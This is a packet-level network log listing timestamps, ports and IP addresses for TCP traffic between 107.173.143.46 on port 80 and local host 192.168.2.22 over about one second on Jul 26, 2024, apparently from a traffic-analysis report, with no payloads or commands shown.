Jul 26, 2024 09:30:08.922801018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922801018 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922806978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922811985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922817945 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922817945 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922833920 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922904968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923016071 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923021078 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923032045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923038006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923049927 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923055887 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923067093 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923072100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923077106 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923082113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923082113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923088074 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923093081 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923096895 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923099041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923110008 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923122883 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923188925 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923290014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923315048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923352003 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923405886 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923449039 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923465014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923470020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923481941 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923504114 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923554897 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923561096 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923572063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923577070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923585892 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923613071 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923634052 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923683882 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923688889 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923700094 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923705101 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923710108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923721075 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923726082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923731089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923732996 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923738003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923743963 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923764944 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923764944 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923774958 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.923825979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.923847914 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.924804926 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.924853086 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.924859047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.924865007 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.924870968 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.924899101 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.924905062 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.925031900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925036907 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925048113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925085068 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.925101042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925106049 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925116062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925121069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925143957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.925154924 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925159931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925172091 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.925224066 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.925235033 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008004904 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008064985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008126974 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008163929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008166075 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008183002 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008199930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008200884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008200884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008219004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008235931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008241892 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008265018 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008277893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008289099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008315086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008317947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008347034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008352995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008371115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008378029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008409977 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008409977 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008455038 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008498907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008519888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008560896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008578062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008594990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008615971 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008629084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008646965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008666039 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008687973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008697987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008714914 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008728981 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008743048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008752108 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008754969 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008786917 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008790970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008800030 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008806944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008826017 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008835077 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008858919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008872032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008897066 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008898973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008938074 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008956909 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008975029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.008980989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.008997917 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009032011 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009047985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009052038 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009066105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009078979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009083033 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009107113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009115934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009123087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009131908 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009140015 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009150028 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009155035 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009166956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009167910 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009186029 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009196043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009227037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009232044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009264946 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009265900 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009279013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009283066 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009299994 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009315968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009316921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009330034 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009334087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009351969 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009357929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009366989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009387016 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009387016 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009404898 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009433031 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009442091 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009443998 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009460926 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009471893 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009478092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009495020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009500027 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009512901 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009527922 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009552002 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009618998 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009637117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009654045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009670019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009679079 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009686947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009705067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009708881 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009722948 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009725094 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009738922 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009756088 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009756088 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009772062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009783030 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009789944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009807110 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009810925 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009826899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.009844065 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009876013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.009876013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010554075 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010587931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010606050 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010613918 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010629892 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010647058 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010663033 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010663986 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010674953 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010680914 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010699034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010703087 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010715008 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010730982 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010731936 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010756969 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010781050 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.010941982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010958910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.010997057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011013031 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011013985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011030912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011040926 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011046886 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011054039 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011070013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011086941 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011097908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011104107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011122942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011125088 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011158943 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011162043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011181116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011198044 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011214972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011219025 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011230946 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011250019 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011267900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011279106 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011285067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011302948 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011305094 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011318922 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011331081 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011336088 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011356115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011360884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011368990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011398077 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011787891 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011806011 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011842966 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011858940 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011888981 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.011955976 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.011996031 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012028933 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012047052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012052059 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.012064934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012079954 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.012082100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012099981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012106895 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.012125015 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.012160063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012197018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012213945 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.012213945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012236118 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.012239933 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.012269974 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095037937 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095108986 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095165968 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095185041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095185041 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095202923 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095216990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095220089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095235109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095258951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095262051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095282078 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095299959 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095308065 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095316887 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095350981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095367908 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095374107 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095402002 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095408916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095427036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095448017 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095463037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095478058 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095484972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095504045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095520973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095554113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095568895 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095576048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095592022 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095593929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095618963 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095635891 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095653057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095654011 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095654011 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095670938 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095684052 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095689058 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095712900 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095727921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095745087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095746994 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095772982 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095782995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095798016 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095832109 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095846891 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095849991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095866919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095896006 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095900059 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095910072 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095937967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095941067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095957994 CEST	80	49167	107.173.143.46	192.168.2.22
